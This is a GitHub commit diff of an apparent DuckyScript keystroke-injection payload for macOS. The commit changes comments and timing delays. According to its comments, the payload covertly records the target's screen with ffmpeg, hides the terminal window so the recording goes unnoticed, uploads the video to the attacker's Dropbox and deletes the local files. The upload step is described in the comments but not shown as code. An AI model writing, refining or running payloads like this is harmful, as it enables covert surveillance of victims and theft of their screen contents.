Re added system username requirement to screen recorder due to file path errors

This commit is contained in:
Narsty
2023-06-07 22:24:17 -05:00
committed by GitHub
parent c808a56508
commit c36c418865
@@ -4,13 +4,13 @@ REM Then uploads the MP4 file to your Dropbox API, deletes the files on the desk
REM Must have terminal recording privileges enabled in Privacy & Security settings
REM Script includes a delay of 10 seconds after starting the recording.
REM to allow for the desired recording duration. Can adjust the delay for longer recordings. line 34
REM keep the delays the same if you adjust line 34, also adjust line 42. This will allow for a good buffer time.
REM to allow for the desired recording duration. Can adjust the delay for longer recordings. line 35
REM keep the render delays the same if you adjust line 35, also adjust line 43. This will allow for a good render time.
REM Must have ffmpeg installed
REM You can download through the terminal using the 'brew install ffmpeg command'
REM Replace "USERNAME_HERE" with system username
REM Replace "Your API token Here" with your API access token
REM Replace "<USERNAME_HERE>" with system username line 44
REM Replace "<Your API token Here>" with your API access token line 44
REM Author: Narsty
@@ -30,8 +30,9 @@ DELAY 500
STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv
DELAY 250
ENTER
DELAY 500
GUI h ; hides terminal to capture contents on the screen
DELAY 10000 ; Delay for 10 seconds (adjust as needed)
DELAY 10000 ; Delay for 10 seconds to record (adjust as needed)
GUI TAB ; reopens terminal to continue script
DELAY 500
CTRL C ; Send the interrupt signal to stop the recording